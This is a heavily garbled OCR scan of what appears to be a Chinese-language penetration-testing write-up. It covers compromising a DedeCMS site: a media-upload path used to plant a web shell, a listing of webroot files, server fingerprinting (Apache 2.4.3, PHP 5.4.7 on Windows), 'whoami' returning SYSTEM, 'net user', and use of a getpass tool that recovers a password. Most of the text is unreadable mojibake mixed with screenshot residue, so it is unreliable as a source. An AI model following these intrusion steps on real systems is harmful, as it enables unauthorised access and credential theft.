A Maoif CoRKET @ oniy Hese: Mepak THNRA [ AER- A4 DHEmes [aruR |

—

BESR ERFEN

A\ ZaERERNIRPAIRU S Rdede, RUEFTPERERUAN TSR, BESEESY

BPE: |
e B | DEDECAMS
RiEB: [ SL UM FFar i T AN
R
K 326
FHNIA (K5 2 8 e i 3h, BhBIBIME ST, Wk 3-2-7:
+ C D) o lIR ccn il ude/dial ng/uelect_pedla shoTeotcoape=NES0F Lo Lo NI 28 £ al cghI5 28 select_sedia (2pAIS0F Y21 =
En EewnecBEC-ONTeN . — —
ARLERBRNEN 'Lnxs LI L]
oLune DEAE /Qlvetiloctin
+ ®: [BAze ) saRze — <
K 327

FATHAE url JFTHB— s A7 8, HHepl dede, FUEEBRFIMELE & T, W& 3-2-8:
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& X1 v SEE. on/ dede/
A BUER (R EE M IE BFA

#fDedeCMS?

> AENETEES 57 #E4F  mazhijie

% - ERRf TeDERS PP ERSG » BHRUMEENS - AFNEEERR
T o mEEEE - Dedecns EHBA TS H)
& o RENENE .
T EEERERRERHEN © 2011-03-25
& o BEANTH HIEREH | REERES
| o e < 4
2 o hBEME O ' [08-12]DedeChts V5. T 05-12 EHBGERT  FR0fA 7
® . nzxm
. Rk &
T o GiETE E
n
o ¥EEE + INEIEERIEDe deCNSF= Bl R AT » AT EERATBER P =Rt
E T WEHERARLE S - I RAR EEATH , NIRRT R FEEAD,
ET AR, R AREEE. Rl R
R o LE#H HBOBER A 9018387918 MSH: jsyldedecns. com TEL:021-37785569 BHEH
%| o MHSEEE
o THEEES « AHEEH LU SN

. EEEH - ST RBIEPIER L &

— i [##] [5H] -

. EHEH B S FeEE O nses DEEEE L wsn A

Team

K 3-2-8
B R R shell B, AidARSS 45 ESRIEE 70, EMgEZRR, DNBTF LB ARR
15, PRS- EUBORIX NI, 57— N—aE R, WERIENS, HERJ)iEE
B, ERWERE T —AIMEET), AHEZEEA shell F, Wik 3-2-9:

1 Fhvwebrootidede_ceshiliplush v
L. 160. 247. 188 HF (1), I (350 BN B Fp it
‘f" E 3. s #013-08-01 O7:53:24 O Yk
: ; [ guestbock 2013-08-01 07:53:03 O arTT
@ I T ing 2013-08-01 07:53:19 O arTT
e I 0] task 2013-08-01 O7:53:2¢ O Yk
o= Ebrd:lte_ceshﬂ |&) advancedsearch. php 2013-10-30 10°50:37 8933 0866
- o |#] 2d_is. phe 2013-10-30 10:50:38 1401 0B66
. = | ] aremulti. phe 2013-10-30 10:50:3% G012 0BE6
(=i F“““’“k |#] bookfzedback php #013-10-30 10:50:35 9259 D666
E :ka | 5] booktzedback_j=. php 2013-10-30 10:50:38 699 0BEE
] car. php 2013-10-30 10:50:3% 1270 OBGE
|#] carbuyaction. phe 2013-10-30 10:50:38 12162 0B66
|.1\] comments_frame. php 2013-10-30 10:50:38 1225 OBEE
|#] count. php 2013-10-30 10:50:36 1843 0BG
] digz_ajax phe 2013-10-30 10:50:3% 2794 0BEE
|#] digz_frame. php 2013-10-30 10:50:36 2427 0BG
|#] disdls. phe 2013-10-30 10:50:38 847 0B66
%] diy. php 4850 “BEER
|#] dowrlosd. phe 8814 ) B8
|.1\] erraddszave, php by T
[RY Faadhark nhn 13 ' MRRR

K 3-2-9
XFhAAE R R, XU T BSREBE R EEN, R AYT, REAR
TIRERMNARENS I, BRE T T RS, WK 3-2-10:
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RS aR1E.5
pgted HTTP/1.1 200 OK
TR text/html; charset=utf-§
kgl Apache/2.4.3 (Win32) OpenSSL/1 U._lc_PHP_;'E.-? 7 |
R PHP/5.4.7 o =
K 3-2-10

FAIMAZT 2. 4. 3 php A A 5. 4. 7, window Z %4t apache IR php JIA S, X Fhd] & F a2
TASEAR ), BN R B I ZF+php K2 HB2 linux [ RETL LR E B, TR IR GR 7, & 3-2-11,
3-2-12:

> whoami

3-2-12
TEIREL TR system AR, B, SARCHI T4 %KM, & 3-2-13:

‘webroothdede_ceshilplus\> net user

ROF Pk P

3-2-13
FATEAT A LBCE LR, queryuser T— 1, BRIEH AL, HIEHNHEAD
T I getpass HIVE I 51 1550, AT A& INH/NFI, RO /N 0T AL G e, 1
e, R T AR T k9kdj3xpxy92wls AR, FRFEMEE T —O60, WD), Ik
FEET, Wkl 3-2-14:
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